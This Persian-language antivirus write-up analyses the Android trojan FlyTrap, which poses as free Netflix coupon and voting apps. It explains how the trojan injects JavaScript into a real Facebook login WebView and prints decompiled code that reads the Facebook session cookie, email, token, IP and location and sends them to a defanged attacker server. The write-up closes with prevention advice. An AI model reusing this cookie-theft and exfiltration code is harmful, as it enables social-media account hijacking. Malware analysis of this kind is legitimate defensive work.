Trojan.Android.FlyTrap.coupon

شرح کلی

نوع: تروجان (Trojan)
درجه تخریب: متوسط
میزان شیوع: متوسط

تروجان (Trojan) چیست؟

تروجان‌ها نوعی از بدافزار محسوب می‌شوند که خود را در قالب یک نرم‌افزار سالم و قانونی نشان می‌دهند و بسیار شبیه نرم‌افزارهای مفید و کاربردی رفتار می‌کنند. اما هنگامی ‌که اجرا می‌شوند، خرابی‌های زیادی را برای سیستم ایجاد می‌کنند. نرم‌افزارهای دانلود شده از اینترنت، جاسازی شدن در متن HTML، ضمیمه شدن به یک ایمیل و … از جمله راه‌های ورود تروجان‌ها به سیستم هستند. تروجان‌ها برخلاف ویروس‌ها و کرم‌های کامپیوتری قادر به تکثیر خود نیستند.

خانواده بدافزاری FlyTrap چیست؟

هدف اصلی این خانواده از بدافزارها به دست آوردن اطلاعات حساب کاربری شبکه‌های اجتماعی (social media) کاربر از جمله Facebook می‌باشد. روش انتشار آن نیز از راه برنامه‌های موجود در مارکت‌های مختلف مانند گوگلی پلی و سایر مارکت‌های غیر معتبر انجام می‌شود. این بدافزار خود را در قالب برنامه‌های کاربردی به کاربر معرفی می‌کند ولی در عمل با استفاده از تکنیک hijacking در برنامه‌های شبکه‌های اجتماعی (social media) اطلاعات حساب کاربری فرد را سرقت می‌کند. همچنین، با استفاده از اطلاعات جمع‌آوری شده از گوشی کاربر همچون موقعیت مکانی، تبلیغات مرتبطی را به کاربر نمایش می‌دهد. این بدافزار در قالب برنامه‌های جذابی مانند کوپن‌های رایگان نتفلیکس، کد کوپن مربوط به Google AdWords و رای‌گیری بهترین بازیکن و تیم فوتبال در گوگل پلی و مارکت‌های غیر معتبر دیگر منتشر شده است. کاربرانی که این برنامه‌ها را نصب کرده‌اند، به بهانه‌های مختلفی همچون ثبت رای، جمع‌آوری اعتبار یا کد کوپن، به صفحه لاگین اصلی فیسبوک هدایت می‌شوند.

Trojan.Android.FlyTrap.coupon1

توضیحات فنی

CouponFragment

‫این برنامه با نام “کوپن‌ رایگان نتفلیکس” جهت دانلود در مارکت‌های برنامه‌های اندرویدی موجود می‌باشد. کاربران پس از نصب و اجرای برنامه، در اکتیویتی اصلی پیغامی مبنی بر “دریافت کوپن‌ رایگان نتفلیکس” مشاهده می‌کنند. با کلیک کاربر برروی گزینه “گرفتن کوپن”، بلافاصله اکتیویتی “CouponActivity” اجرا می‌شود که از دید کاربر پنهان است. این صفحه از نوع web view بوده و مهاجم با استفاده از تکنیک تزریق JavaScript در web view، کد جاوااسکریپت خود را جهت نمایش صفحه لاگین به اکانت فیس بوک با هدف جمع آوری اطلاعات اکانت کاربر لود می‌کند.

Trojan.Android.FlyTrap2

CouponActivity

ابتدا فایل cookie مرورگر را بررسی می‌کند تا بررسی کند که آیا کاربر قبلا به آدرس فیس بوک”https://m.facebook.com” لاگین کرده است یا نه. اگر لاگین نشده باشد، در قالب یک web view، صفحه لاگین به اکانت فیس بوک را به کاربر نمایش می‌دهد. این صفحه جعلی نمی‌باشد و آدرس url آن کاملا درست است، اما تکنیکی که بدافزار برای دستیابی به اهداف خود استفاده کرده است، تزریق کد جاوا اسکریپت آلوده خود در این web view می‌باشد. بدین ترتیب، اطلاعات مهمی از کاربر بدون اطلاع وی جمع آوری می‌شود. پس از اینکه کاربر اطلاعات خود را برای ورود به صفحه لاگین اصلی فیس بوک وارد کند، اطلاعات جمع‌آوری شده در قالب فایل json به سرور آلوده بدافزار ارسال می‌شود:

” Email, FacebookID, FeatureImage, Location, UserAgent, Cookie, Ip, Date, Token, fromApp (نام برنامه)

private final void CouponActivity.getDataIntent()             //method@782d

{

   String v7;

   String v6;

   String v3;

   String v12;

   String v5;

   String v11;

   String v1 = “https://m.facebook.com”;

   if (!CookieManager.getInstance().getCookie(v1)) {

    return;

   }

   v7 = CookieManager.getInstance().getCookie(v1);

   Intrinsics.checkNotNullExpressionValue(v7, “getInstance\x28\x29.getCookie\x28com.emranul.movieinfo.util.Constant.URL_GET_COOKIE_FACEBOOK\x29”);

   v6 = this.getIntent().getStringExtra(“user_agent”);

   v3 = this.getIntent().getStringExtra(“user_id”);

   v12 = this.getIntent().getStringExtra(“email”);

   if (!v6 || !v12 || TextUtils.isEmpty(v6) || TextUtils.isEmpty(v3) || TextUtils.isEmpty(v7) || TextUtils.isEmpty(v12)) {

      return;

   }

   Intrinsics.checkNotNull(v3);

   v5 = Locale.getDefault().getDisplayLanguage();

   Intrinsics.checkNotNullExpressionValue(v5, “getDefault\x28\x29.getDisplayLanguage\x28\x29”);

   v11 = this.getResources().getString(0x7f0f001b);

   Intrinsics.checkNotNullExpressionValue(v11, “resources.getString\x28R.string.app_name\x29”);

   v2 = new Data(v3, () + “https://graph.facebook.com/” + v3 + “/picture?type=large”, v5, v6, v7, this.getIpAdress(), ShareUtils.INSTANCE.getCurrentDate(), “Empty”, v11, v12);

   RetrofitBuilder.INSTANCE.getApiService().null_saveData(v0.getIdFacebook(), v0.getFeatureImage(), v0.getLocation(), v0.getUserAgent(), v0.getCookie(), v0.getIp(), v0.getDate(), v0.getToken(), v0.getFromApp(), v0.getEmail()).null_enqueue(new CouponActivity$getDataIntent$1(this));

return;

}

بدافزار برای ایجاد ارتباط بین server و client از APIهای موجود در کتابخانه‌ی Retrofit استفاده می‌کند و ارسال و دریافت اطلاعات با فرمت JSON می‌باشد. به منظور احراز هویت با OAuth، به ازای هر درخواست شبکه‌ای که به یک آدرس ویژه ارسال می‌شود، یک توکن دسترسی را برای کاربر مشخص می‌کند. بعد از اینکه تمام مقادیر را برای داده‌های بالا به دست آورد، به صورت یک رشته (مقادیر و داده‌هایشان) درآورده و به آدرس سرور خود، “hxxp[:]///quanlysanpham[.]work” ارسال می‌کند.

public String Data.toString() {
return new StringBuilder()+”Data\x28idFacebook=”+this.idFacebook+”, featureImage=”+this.featureImage+”, location=”+this.location+”,
userAgent=”+this.userAgent+”, cookie=”+this.cookie+”, ip=”+this.ip+”, date=”+this.date+”, token=”+this.token+”, fromApp=”+this.fromApp+”, email=”+this.email+41;}

Trojan.Android.FlyTrap3

یکی دیگر از عملکردهای بدافزار، دسترسی به موقعیت مکانی کاربر است که با هدف ارسال تبلیغات از طریق سرویس‌های تبلیغاتی googleAds و … انجام می‌شود. همچنین، در برنامه تنظیم می‌شود که در فواصل زمانی معین مقادیر طول و عرض جغرافیایی (موقعیت مکانی) کاربر دریافت شود. برای نمایش تبلیغات، از  com.google.android.gms.iid InstanceID API با استفاده از شناسه تبلیغاتی مشخص شده در کد برنامه، استفاده شده است.

public static AdvertisingIdClient$Info

AdvertisingIdClient.getAdvertisingIdInfo(Context p0)             //method@7a8f

{

   zzb v0 = new zzb(p0);

   boolean v1 = v0.getBoolean(“gads:ad_id_app_context:enabled”, false);

   AdvertisingIdClient v3 = new AdvertisingIdClient(p0, -1, v1, v0.getBoolean(“gads:ad_id_use_persistent_service:enabled”, false));

   v0.zza(false);

   p0 = v0.getInfo();

   v0.zza(p0, v1, v0.getFloat(“gads:ad_id_app_context:ping_ratio”, 0), (SystemClock.elapsedRealtime()-SystemClock.elapsedRealtime()), v0.getString(“gads:ad_id_use_shared_preference:experiment_id”, “”), null);

   v0.finish();

   return p0;

}

روش مقابله و پاک‌سازی سیستم

برای اطمینان خاطر از عدم آلودگی دستگاه، فایل پایگاه داده آنتی‌ ویروس پادویش را نصب و به‌روز نگه دارید و اسکن آنتی ویروس را انجام دهید.

روش‌های پیشگیری از آلوده شدن گوشی:

۱. از دانلود و نصب برنامه از منابع و مارکت‌های موبایلی نامعتبر خودداری کنید.

۲. هنگام نصب برنامه‌های موبایلی، به مجوزهای درخواستی دقت کنید.

۳. از فایل‌ها و اطلاعات ذخیره شده در گوشی، پشتیبان‌گیری مداوم انجام دهید.

۴. از نسخه‌های غیررسمی برنامه‌ها استفاده نکنید. برنامه‌هایی مانند تلگرام و اینستاگرام نسخه‌های غیررسمی زیادی دارند و بیشتر آنها از طریق کانال‌های تلگرامی انتشار می‌یابند.